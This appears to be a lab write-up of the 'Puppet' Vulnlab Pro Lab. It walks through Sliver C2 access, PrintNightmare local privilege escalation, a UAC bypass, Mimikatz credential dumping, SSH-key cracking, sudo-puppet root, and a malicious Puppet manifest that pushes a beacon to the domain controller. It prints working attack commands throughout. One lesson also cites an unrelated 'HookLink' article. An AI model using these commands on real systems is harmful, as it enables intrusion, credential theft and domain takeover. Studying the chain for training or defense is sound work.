Sitemap

Puppet Pro Lab Writeup

13 min readJun 25, 2026

--

Press enter or click to view image in full size

Platform: HTB / Vulnlab | Difficulty: Advanced | Category: Active Directory / sliver C2 Operations / Red Team | Flags: 4/4 | Author: razzle_mouse

Lab Infrastructure

#Lab Infrastructure

Machine OS
PUPPET-PM01 Linux (Puppet Master)
PUPPET-DC01 Windows (Domain Controller)
PUPPET-FILE01 Windows (File Server)

Synopsis

Puppet is a multi-stage Active Directory penetration testing lab that simulates a real-world hybrid environment — Windows file servers, Linux infrastructure automation, and a domain controller — all tied together by Puppet configuration management. The attack chain doesn’t require exotic exploits; it’s built on five ordinary failures that, when chained together, hand over domain admin credentials: a C2 framework configured insecurely, a privilege escalation vulnerability (PrintNightmare) left unpatched, a service account exposed through credential dumping, an SSH infrastructure trusted too readily, and an automation tool pointed at targets without proper isolation. None of these are zero-days. What makes them work end-to-end is that every component trusts something it shouldn’t.

Attack Surface & Reconnaissance

Target Layout

The engagement fronts a single gateway (10.13.38.33 via FTP, 172.16.40.200 across the internal network):

  • File01 (172.16.40.50) — Windows file server, Puppet agent, contains initial beacon
  • Puppet Server (172.16.40.200) — Linux Puppet master, controls File01 and DC01
  • DC01 (172.16.40.5) — Domain controller, final target

Initial Enumeration

Port scan of the FTP gateway:

rustscan -b 500 -a 10.13.38.33  -- -sC -sV -Pn

Results:

PORT      STATE SERVICE        REASON         VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw----r-- 1 0 0 2119 Oct 11 2024 red_127.0.0.1.cfg
|_-rwxr-xr-x 1 0 0 36515304 Oct 12 2024 sliver-client_linux
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.47
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e2:70:df:74:8c:ed:e9:81:46:16:e4:88:bc:7f:69:32 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNFCXV2YO/U9FMHIG2QjuS7+VQAeDDXHBgG3l21HZzMbLpyLa67tP1QuPJn7w76/n+xovFIvo6BTlSds+NZB9II=
| 256 bf:f0:f1:8f:5b:66:93:9b:cb:8b:bc:78:37:b8:b8:3a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBbN+PAvDNKPDEib43tZk/tTe14PcSJN6vgAhui5mGOQ
8140/tcp open ssl/http syn-ack ttl 63 WEBrick httpd 1.7.0 (Ruby 3.0.2 (2021-07-07); OpenSSL 3.0.2)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=puppet.puppet.vl
| Subject Alternative Name: DNS:puppet, DNS:puppet.puppet.vl
| Issuer: commonName=Puppet CA: pm01
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-10-11T18:01:13
| Not valid after: 2029-10-11T18:01:13
| MD5: 88e7 5e1c ac32 c0c3 d7a9 f827 08cb 36c6
| SHA-1: e923 32e2 13a8 05ce 4c93 76b5 16ce 8d3d af51 fbfc
| SHA-256: 1165 85db 9fe4 1903 0421 924b 1903 176d 29a9 e956 0f04 a616 2b44 46a3 3320 929c
| -----BEGIN CERTIFICATE-----
| MIIFkjCCA3qgAwIBAgIBBjANBgkqhkiG9w0BAQsFADAaMRgwFgYDVQQDDA9QdXBw
| ZXQgQ0E6IHBtMDEwHhcNMjQxMDExMTgwMTEzWhcNMjkxMDExMTgwMTEzWjAbMRkw
| FwYDVQQDDBBwdXBwZXQucHVwcGV0LnZsMIICIjANBgkqhkiG9w0BAQEFAAOCAg8A
| MIICCgKCAgEAzB4RyYAe0raw+IJd6788OgFgo65IycNfdVX+MpNiGqxmiCSkkpsN
| fTiERgPKCRV4ilzp4VMkFSmPZMgse+zLzn1m3aLVtCnpJY+H1KcrkjIadh0hRL/V
| TOzFk98lBn/qkFp1Kk11P9KkkcRN73HcKZhnUujj13AOOYKWgQWvAXeNThmVAzps
| 2CdAfBrQM4ZsWEaQ2wQwQr2S0mbBBta1HXDwSiLY+1z0ZzsFlg89YZ5Aw7Crcodx
| 9eGrLSVZ1ac8dACeLqrpHP4CJkgpAuBLtfb77dZBbJNlo6fYccjrsBhlieDenlSR
| PCrsIWdte+OKKeBz25bQvCOx1cqYwMwsYP3EchJln55WpRLp3n9ehPGam/FCFL8/
| uX9z4onf5An7w7TL6XEzlujUPAAPevOVdHPpvLgQNxe/xYp0NlpDaPDAMTHK12+W
| gpMdPA0eM7uM6ospPct4AR9sRa4eF84olspHgIp187ISRysMRIoowqMoKNyIOU+o
| lDs9XdDrNg73/22m51y+vqeVo9iw7X9eUFuSk8y5r0+pzYJ6mzWCw6fHMS/MpoJa
| k2DqbAs772y27p8MVtneigaVGwgFIzWW/PGF/lIbcizTYeue2mQvHuu2XZyGe8qU
| bLTMiP7xGRjf6QMQCIletaAiprOtAatHI4wO3Uc5V1rhlXn84j4ZeuMCAwEAAaOB
| 4TCB3jA3BglghkgBhvhCAQ0EKgwoUHVwcGV0IFJ1YnkvT3BlblNTTCBJbnRlcm5h
| bCBDZXJ0aWZpY2F0ZTAjBgNVHREEHDAaggZwdXBwZXSCEHB1cHBldC5wdXBwZXQu
| dmwwDgYDVR0PAQH/BAQDAgWgMCAGA1UdJQEB/wQWMBQGCCsGAQUFBwMBBggrBgEF
| BQcDAjAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSGIzyO8LYD7aNQYjfFX0TqPwvF
| TzAfBgNVHSMEGDAWgBT2G9Xv8mCMXyh7+oPsovbwUQqpfjANBgkqhkiG9w0BAQsF
| AAOCAgEApnZ46CITl7NUrTnMz5gcI/wSQwELKtS/LAOuIzHyQIBLKHnoHi/g59y/
| zuArzeDn+FA5Ug+ZgkyYRdNn99469rV25J1LT3T+psBOXGTtj1zbCw4QEnS9UGRO
| K/vQKWQmeM7X6aaaU7qxixDqOvrff6/Lvy1zqsDCOGhxoHROcMVcCKi8agjYcA93
| p3sEVS6jr68ACurHHs4wL4yH3LKkssc8kB625iCr7FJT2oLKmcAB3X+reAwAa0iP
| qtL1x7CmcU74/uP4stodhZQeKEik+wJ+keLBT3mQEQDe6l9hOSN+JljkjyG/TAJm
| lc/GpChuO3cr01PWhgC0AzbmRQ+wsSf+K/VN3JJfjb2Bdy4PrwL2urOdN0mqIK7F
| d2isbIfb68cIsCaOT4TPdhyea3enSYkLbUtDHQCY0+eMOyP4a9/NrJtZNEWY1T57
| t+jqaoMRQhVgz13pcevU9qJEtCbicW/Q6A+cRbv8pSzNmOicAd2ZZL38S5kcdbbT
| Pe/3nPttv0jE9GFHJPfaOSIPASC7KZZpCZbfYIlhuDnbWi/3xNsWxaV8ZTrjyE+k
| /4kY9FX2t8Rdvos45TxCjbR0C8OYzzT6xJzVylMT+wbwgu0aNph8XH3/Yxe4lc2N
| o5t5+XeaEcPV6yZvdXgT1JPoWdGHTnVVvuep2i9oT9opXDj2knc=
|_-----END CERTIFICATE-----
8443/tcp open ssl/https-alt? syn-ack ttl 63
| ssl-cert: Subject: commonName=0.0.0.0
| Subject Alternative Name: IP Address:0.0.0.0
| Issuer:
| Public Key type: ec
| Public Key bits: 384
| Signature Algorithm: ecdsa-with-SHA256
| Not valid before: 2024-12-24T14:49:26
| Not valid after: 2027-12-24T14:49:26
| MD5: 39a9 a17b b826 c46d 0a1d 5f5b 5269 eb55
| SHA-1: 002a 9490 ffe2 1941 0cc6 c550 8967 9877 0aae 8ee2
| SHA-256: 9f4a c353 988b 3667 e698 5033 d682 96b2 995f 9870 32e0 27b2 85c3 7c79 6101 4e0a
| -----BEGIN CERTIFICATE-----
| MIIBhjCCAS2gAwIBAgIRALwVJGB/WXATE9ovEkt4NIIwCgYIKoZIzj0EAwIwADAe
| Fw0yNDEyMjQxNDQ5MjZaFw0yNzEyMjQxNDQ5MjZaMBIxEDAOBgNVBAMTBzAuMC4w
| LjAwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAStF2hSR3+1R7iCpHQjVNHtXHdyNiNH
| Ru3eMEWbCN7JeVtwEMxU0rXF6PH/GVWCSJrRQVIz0wdySGwQeREEFulm5hr3omlb
| BRQ8a6cfvl4D7j7LeZeyaF+CSYlpatAWfpqjWTBXMA4GA1UdDwEB/wQEAwIFoDAT
| BgNVHSUEDDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSINvl6ZYdjGQlx06151SiE
| IEuu5jAPBgNVHREECDAGhwQAAAAAMAoGCCqGSM49BAMCA0cAMEQCIH8KGc3Zt0kA
| /6nHyF8VktJNUSdOyHGoyC0OGc8M4aQuAiAZy/GhebHYyw0aYVlhEu0+i9Uj2Yjs
| wAS87itgtj43+w==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
31337/tcp open ssl/Elite? syn-ack ttl 63
| ssl-cert: Subject: commonName=multiplayer
| Subject Alternative Name: DNS:multiplayer
| Issuer: commonName=operators
| Public Key type: ec
| Public Key bits: 384
| Signature Algorithm: ecdsa-with-SHA512
| Not valid before: 2024-05-11T12:31:48
| Not valid after: 2027-05-11T12:31:48
| MD5: d3f7 f0d9 206f 215a 508a 25b1 4088 67d8
| SHA-1: ce52 0a15 d14d f022 22b4 1699 7b84 5688 9c9d 8959
| SHA-256: 2098 36d2 8e8a 2b4d e35b 8d8c ee07 2883 2981 a0ed 3bca 6fd0 2245 c816 8b52 1d4b
| -----BEGIN CERTIFICATE-----
| MIIB6zCCAUygAwIBAgIRAIeEsc7sj+SQgjF0P0MUFWkwCgYIKoZIzj0EAwQwFDES
| MBAGA1UEAxMJb3BlcmF0b3JzMB4XDTI0MDUxMTEyMzE0OFoXDTI3MDUxMTEyMzE0
| OFowFjEUMBIGA1UEAxMLbXVsdGlwbGF5ZXIwdjAQBgcqhkjOPQIBBgUrgQQAIgNi
| AARSxGabC1rhj1H/7dkSTRPPEU6sS++iG3ohim1BzKzKshFyS9VY+ZBlZdkiJN9j
| MVEUy1rwcH2k/YUSQpoeLEp1gv1hEuiEkumUQ6LrqA1uY4rHDN1ttp1JFHviUa4Z
| Df2jYDBeMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAfBgNV
| HSMEGDAWgBR3uMdNk3R5ZjMnw23+9r98cVzXODAWBgNVHREEDzANggttdWx0aXBs
| YXllcjAKBggqhkjOPQQDBAOBjAAwgYgCQgEjtwZ5KM4oNas8ooefiT8pISXwH7lR
| jWDXY5ykiDIkuWYNjti8KFuJYjiLE9eOXncgwDQ3hwmxxSFuFCQiEVApmgJCAKpI
| FtgNVn7N3g5iUDxP6D6IEMboYvoVFuY42lfbt6u1pjqi2l3pHFjI1KfP3Pi5dPF1
| gawb4KsN9mdw5TfvhmuQ
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
  • 21/tcp — vsftpd 3.0.5 (anonymous FTP enabled)
  • 22/tcp — OpenSSH
  • 8443/tcp — Sliver C2 server (HTTPS)
  • 31337/tcp — Elite (C2 port)

FTP Discovery

Anonymous FTP access revealed two critical files:

Press enter or click to view image in full size
ftp 10.13.38.33
# Anonymous login successful
# Files found:
# - red_127.0.0.1.cfg (Sliver client configuration)
# - sliver-client_linux (Sliver C2 binary)

ftp> mget red_127.0.0.1.cfg sliver-client_linux

Key Finding: The configuration file contained hardcoded localhost:31337, indicating the C2 server was not internet-facing — a significant operational security issue that would later become exploitable.

Flag 1: Sleep — Initial Access via C2

Challenge

The Sliver config pointed to localhost, but we needed remote access. Standard port-forwarding was required to establish the C2 channel.

Exploitation

Step 1: Set up socat relay from attack machine to internal C2 server

sudo socat TCP-LISTEN:31337,reuseaddr,fork TCP:10.13.38.33:31337

Step 2: Import the configuration and connect to Sliver

Press enter or click to view image in full size
./sliver-client_linux import ./red_127.0.0.1.cfg

Step 3: Interact with the existing beacon on File01

Press enter or click to view image in full size
beacons
# Output shows active beacon as PUPPET\bruce.smith on File01

use <Beacon_ID>

Note:

Beacon mode is better for OPSEC in Silver C2, but it is slower, so I use session mode

Press enter or click to view image in full size
interactive 

session

use <Session_ID>

Step 4: AD Enumeration with SharpHound

cd c:\\temp
sharp-hound-4 -s -t 300 -- -c all,gpolocalgroup
download 20241017043355_BloodHound.zip

Loaded the zip into BloodHound locally — no interesting attack paths found from bruce.smith’s context.

Step 5: ADCS Enumeration:

sa-adcs-enum
# [*] Found 0 CAs in the domain

No certificate authority in the domain — ADCS attacks ruled out.

Step 6: Internal Network Ports:

sa-netstat

[*] Successfully executed sa-netstat (coff-loader)
[*] Got output:
Processing: 14 Entries
PROTO SRC DST STATE PROCESS PID
TCP 0.0.0.0:135 LISTEN LISTENING ( 856)
TCP 0.0.0.0:445 LISTEN LISTENING ( 4)
TCP 0.0.0.0:3389 LISTEN LISTENING ( 1020)
TCP 0.0.0.0:5985 LISTEN LISTENING ( 4)
TCP 0.0.0.0:47001 LISTEN LISTENING ( 4)
TCP 0.0.0.0:49664 LISTEN LISTENING ( 676)
TCP 0.0.0.0:49665 LISTEN LISTENING ( 532)
TCP 0.0.0.0:49666 LISTEN LISTENING ( 732)
TCP 0.0.0.0:49667 LISTEN LISTENING ( 676)
TCP 0.0.0.0:49668 LISTEN LISTENING ( 1844)
TCP 0.0.0.0:49669 LISTEN LISTENING ( 1012)
TCP 0.0.0.0:49673 LISTEN LISTENING ( 656)
TCP 10.13.38.33:139 LISTEN LISTENING ( 4)
TCP 10.13.38.33:50522 172.16.40.50:8443 ESTABLISHED C:\ProgramData\Puppet\puppet-update.exe ( 4068)
UDP 0.0.0.0:123 *:* ( 652)
UDP 0.0.0.0:3389 *:* ( 1020)
UDP 0.0.0.0:5353 *:* ( 1064)
UDP 0.0.0.0:5355 *:* ( 1064)
UDP 10.13.38.33:137 *:* ( 4)
UDP 10.13.38.33:138 *:* ( 4)
UDP 127.0.0.1:52613 *:* C:\ProgramData\Puppet\puppet-update.exe ( 4068)
UDP 127.0.0.1:62913 *:*

Nothing unusual. Confirmed the beacon process (puppet-update.exe) was the only outbound connection — to the C2 server on port 8443.

Step 7: Locate the first flag


execute -o -- cmd.exe /c dir "C:\Users\Bruce.Smith\Desktop"
execute -o -- cmd.exe /c type "C:\Users\Bruce.Smith\Desktop\flag.txt"

Flag 1 Retrieved:

Press enter or click to view image in full size
PUPPET{1c1740d66f7071xxxxxxxxxxxxxxxxxxxx}

Key Lesson

Hardcoded C2 credentials in configuration files, even “internal” ones, become a liability the moment they’re copied to untrusted endpoints. The FTP server’s anonymous access policy amplified this — any attacker with network visibility could obtain the keys to the kingdom.

Flag 2: Nightmare — PrintNightmare LPE on File01

Challenge

The initial beacon ran as a regular domain user (PUPPET\bruce.smith) with no special privileges. Dumping credentials or accessing restricted resources required SYSTEM or higher.

Discovery: Vulnerability Assessment

Ran PrivescCheck to enumerate local privilege escalation vectors:



sharpsh -t 300 -- -c invoke-privesccheck -u c:\\temp\\PrivescCheck.ps1

Critical Finding:

Press enter or click to view image in full size
Policy: Limits print driver installation to Administrators
Key: HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint
Value: RestrictDriverInstallationToAdministrators = 0
Status: Vulnerable — High Severity

Policy: Point and Print > NoWarningNoElevationOnInstall = 1
Description: This reintroduces PrintNightmare (CVE-2021-34527)

Exploitation: PrintNightmare (CVE-2021–1675)

Step 1: Upload the exploit

upload /path/to/CVE-2021-1675.ps1 c:\users\public\CVE-2021-1675.ps1

Step 2: Execute the exploit to create a local admin user

powershell

execute -o -- powershell.exe -ExecutionPolicy Bypass -NoProfile -Command ". c:\temp\CVE-2021-34527.ps1; Invoke-Nightmare -NewUser adm1n -NewPassword P@ssw0rd"

Output:

Press enter or click to view image in full size
[+] created payload at C:\Users\bruce.smith\AppData\Local\Temp\nightmare.dll
[+] added user adm1n as local administrator
[+] deleting payload

Step 3: Spawn a beacon as the new admin user

Press enter or click to view image in full size
runas -u adm1n -P "P@ssw0rd" -p "C:\ProgramData\Puppet\puppet-update.exe"

Result: New beacon with local admin privileges

Press enter or click to view image in full size

UAC Bypass to SYSTEM

Step 1: Compile SspiUacBypass

cd ~/.sliver-client/extensions/UAC-BOF-Bonanza/SspiUacBypass
make

Step 2: Upload and execute

Press enter or click to view image in full size
upload /home/kali/.sliver-client/extensions/UAC-BOF-Bonanza/SspiUacBypass/bin/standalone/SspiUacBypass.exe "c:\temp\SspiUacBypass.exe"



execute -o -- "c:\temp\SspiUacBypass.exe" "c:\programdata\puppet\puppet-update.exe"

Result: SYSTEM beacon (NT AUTHORITY\SYSTEM)

Press enter or click to view image in full size

Credential Dumping

With SYSTEM privileges:

Press enter or click to view image in full size
mimikatz privilege::debug sekurlsa::logonpasswords exit

Credentials Extracted:

  • svc_puppet_win_t1 — NTLM: 784c7b5105....
  • bruce.smith — NTLM: adca4e5100da.....
  • FILE01$ (machine account) — NTLM: f7a69c8..........

Flag 2 Retrieved:

Press enter or click to view image in full size
PUPPET{3b3072985cxxxxxxxxxxxxxxxxxxxxxxx}

Key Lesson

PrintNightmare works because administrators trust the driver installation pipeline — a user shouldn’t be able to install drivers without elevation. When that policy is disabled and the “warn on elevation” policy is also disabled, the attack becomes trivial. The lesson isn’t just “patch PrintNightmare” — it’s “verify your printer policies actually match your intent.”

Flag 3: Dance — Lateral Movement via Service Account

Challenge

Dumped credentials alone don’t move the needle without a path to use them. The extracted svc_puppet_win_t1 account runs the Puppet service — valuable for lateral movement within File01, but we needed access to the DC.

Migrate to Service Process

Step 1: Identify the Puppet service process

ps 
# Found: PID 1196 — ruby.exe running as PUPPET\svc_puppet_win_t1
Press enter or click to view image in full size

Step 2: Migrate the beacon into the service process

migrate -p 1196

This moves the beacon’s context to run as the service account without needing a new logon event.

Get Razzle Mouse 🐭’s stories in your inbox

Join Medium for free to get updates from this writer.

Next:

Move svc_puppet_win_t1 system

 interactive

sessions

use <sessions_ID>
Press enter or click to view image in full size

Access DC’s IT Share

From the service account context:


#domain ips extraction

execute -o -- arp -a


#enumeration of the file shars

sa-netshares dc01
Press enter or click to view image in full size
ls \\\\dc01.puppet.vl\\it
# Output:
# .ssh/ (directory)
# Autologon64.exe
# PsExec64.exe
# firewalls/ (directory)

ls \\\\dc01.puppet.vl\\it\\.ssh
# Output:
# ed25519 (SSH private key, 472 bytes)
# ed25519.pub

Download SSH Key

download \\\\dc01.puppet.vl\\it\\.ssh\\ed25519

The file was encrypted with a passphrase — not plaintext, but crackable.

Crack SSH Key Passphrase

On the attack machine:

ssh2john ed25519 > ed25519.hash
john ed25519.hash --wordlist=/usr/share/wordlists/rockyou.txt
# Output:john --show ed25519.hash# ed25519:xxxxxxxxxxxxxxxx
Press enter or click to view image in full size

Passphrase: xxxxxxxxxxxxxxxx

SSH Access to Puppet Server

Set up port forwarding through the Sliver beacon:

Press enter or click to view image in full size
portfwd add --bind 2222 -r 172.16.40.200:22

Connect via SSH:

Press enter or click to view image in full size
ssh -i ed25519 -p 2222 "svc_puppet_lin_t1@puppet.vl"@127.0.0.1
# Passphrase: xxxxxxxxxxxxxx

Privilege Escalation on Puppet Server

Check sudo permissions:

Press enter or click to view image in full size
sudo -l
# User svc_puppet_lin_t1@puppet.vl may run the following commands on puppet:
# (ALL) NOPASSWD: /usr/bin/puppet

Exploit Puppet itself for privilege escalation:

Press enter or click to view image in full size
sudo puppet apply -e "exec { '/bin/sh -c \"chmod u+s /bin/bash\"': }"
bash -p
# id: uid=451001132(...) euid=0(root)

Result: Root access on puppet server

Locate Flag

find / -name "flag.txt" 2>/dev/null
cat /root/flag.txt

Flag 3 Retrieved:

PUPPET{c093xxxxxxxxxxxxxxxxxxx}

Key Lesson

The Puppet server’s configuration allowed the service account unlimited sudo access to the puppet binary itself — a privilege escalation primitive wrapped in infrastructure automation. The lesson parallels the HookLink article’s mass-assignment bug: when you hand a tool permission to modify system configuration without restriction, you’ve handed someone a path to root.

Flag 4: Puppet Master — DC Compromise via Infrastructure Automation

Challenge

We had root on the Puppet server, but the goal was the domain controller. Puppet itself controls the DC — it pushes configurations to it regularly. We could weaponize that.

Create Malicious Puppet Manifest

Step 1: Create the manifest directory structure

mkdir -p /etc/puppet/code/environments/production/manifests

Step 2: Write a manifest that executes our beacon on DC01

Press enter or click to view image in full size
cat > /etc/puppet/code/environments/production/manifests/site.pp << 'EOF'
node 'dc01.puppet.vl' {
exec { 'pwned':
command => 'C:\\Windows\\System32\\cmd.exe /c \\\\file01.puppet.vl\\files\\update.exe',
logoutput => true,
}
}
node default {
notify { 'This is the default node': }
}
EOF

This manifest tells the DC01 agent to execute a binary from the File01 share — our next Sliver beacon.

Generate DC Beacon

Back in Sliver:

generate beacon --mtls 172.16.40.200:8443 --os windows --arch amd64 --save /tmp/update.exe

Upload Beacon to File01 Share

use 18b16445  # svc_puppet_win_t1 session
upload /tmp/update.exe \\\\file01.puppet.vl\\files\\update.exe

DC Agent Check-in

The Puppet agent on DC01 checks in every minute (configured in the lab to speed up exploitation). After the manifest was modified, the agent applied the catalog and executed our beacon:

Press enter or click to view image in full size
beacons
# New beacon appears:
# [*] Beacon c2728189 FORTUNATE_BOSOM - 172.16.40.5:59457 (DC01)

Dump DC Credentials

The root flag was stored in a SYSTEM-protected DPAPI credential, not a user credential. This meant it could only be decrypted with the machine’s DPAPI_SYSTEM key, which is only accessible to processes running as SYSTEM. machinetriage automatically elevated to SYSTEM, extracted the DPAPI_SYSTEM key from LSA, and used it to decrypt all SYSTEM-level credentials. Since the root password was stored in a Task Scheduler credential protected by SYSTEM DPAPI, machinetriage was able to decrypt it and reveal the flag PUPPET{8b662xxxxxxxxxxxxxxxxxxx}. Other commands failed because they tried to decrypt with a user's master key or required the Administrator's password, which we didn't have.

Using SharpDPAPI to extract SYSTEM-level credentials:


upload /home/kali/tools/SharpCollection/NetFramework_4.7_x64/SharpDPAPI.exe c:\users\public\SharpDPAPI.exe

execute -o -- "c:\users\public\SharpDPAPI.exe" machinetriage

Output revealed:

Folder: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials
Press enter or click to view image in full size
CredFile: 39FAB9BA3A19E88594B1D50B5E44AAA4
TargetName: Domain:batch=TaskScheduler:Task:{ACFD7F3B-51A4-4B11-8428-F287E956EC4C}
UserName: PUPPET\root
Credential: PUPPET{8b6626xxxxxxxxxxxxxxx}

Flag 4 Retrieved:

PUPPET{8b6xxxxxxxxxxxxxxxxxxxxxxxxxxx}
Press enter or click to view image in full size

All Flags

Puppet flags table:

All Flags

# Flag Vulnerability Machine
1 PUPPET{1c1740xxxxxxxxxxxxxxxxxxxxxxxxxxxx} Hardcoded C2 config via anonymous FTP PUPPET-FILE01
2 PUPPET{3b30xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx} PrintNightmare (CVE-2021-1675) LPE PUPPET-FILE01
3 PUPPET{c09xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx} Puppet sudo misconfiguration → root PUPPET-PM01
4 PUPPET{8b6626xxxxxxxxxxxxxxxxxxxxxxxxxxxx} Malicious Puppet manifest → DC compromise → DPAPI credential dump PUPPET-DC01

Tools Used

Tool                     Purpose
Sliver C2 Command and control framework for beacon management
SharpHound Active Directory enumeration and BloodHound data collection
PrivescCheck Local privilege escalation vulnerability assessment
Mimikatz Credential dumping from LSASS memory
SharpDPAPI DPAPI credential extraction from machine context
SspiUacBypass UAC bypass via SSPI Datagram Contexts
socat TCP port forwarding to tunnel C2 traffic
ssh2john / john SSH private key passphrase cracking
PrintNightmare (CVE-2021-1675) Local privilege escalation via print spooler

Key Takeaways

Hardcoded C2 credentials in config files are a liability — anonymous FTP access combined with a localhost-bound Sliver config handed over the keys to the entire engagement before a single exploit was run.

PrintNightmare is still alive in misconfigured environments — two registry keys set incorrectly reintroduce a fully patched vulnerability. Policy intent and policy reality are not the same thing.

Service accounts are lateral movement bridges — svc_puppet_win_t1 running the Puppet service on File01 had access to the DC's IT share. Migrating into that process required no new credentials, no new logon event.

Infrastructure automation tools are force-multipliers for attackers — Puppet, Ansible, Chef all assume the right to run commands on targets. Compromising the master compromises everything it manages.

The chain didn’t need a single catastrophic bug — five ordinary failures stacked across trusted components handed over domain admin credentials end to end.

Wrap-Up

Puppet earns its synopsis: nothing in this range is a zero-day, and nothing required exotic tooling. What made it work end to end was that every component trusted something it shouldn’t have. The FTP server trusted that anonymous access to C2 configuration was harmless. File01 trusted that printer driver installation policies were correctly enforced. The service account trusted that its SSH keys were safely stored. The Puppet master trusted that only legitimate manifests would ever reach it. And DC01 trusted that every catalog the Puppet master pushed was benign.

None of these are advanced techniques. They’re the everyday configuration failures and trust assumptions that show up in real enterprise environments — on a target built specifically to make the point: when automation infrastructure sits inside your production AD environment without proper isolation, a single compromised endpoint becomes a path to domain admin.

#CyberSecurity #CTF #Vulnlab #HackTheBox #Writeup #PenetrationTesting #ActiveDirectory #RedTeam #SliverC2 #PrintNightmare #LateralMovement #PrivilegeEscalation #CredentialDumping #Mimikatz #Puppet #InfrastructureSecurity #C2Operations #CTFWriteup #EthicalHacking #SecurityResearch

--

--

Razzle Mouse 🐭
Razzle Mouse 🐭

Written by Razzle Mouse 🐭

Raguraman (Razzle Mouse 🐭) | CRTO | CNPen, a cyber explorer, hacker, penetration tester, and bug bounty hunter defending top global companies.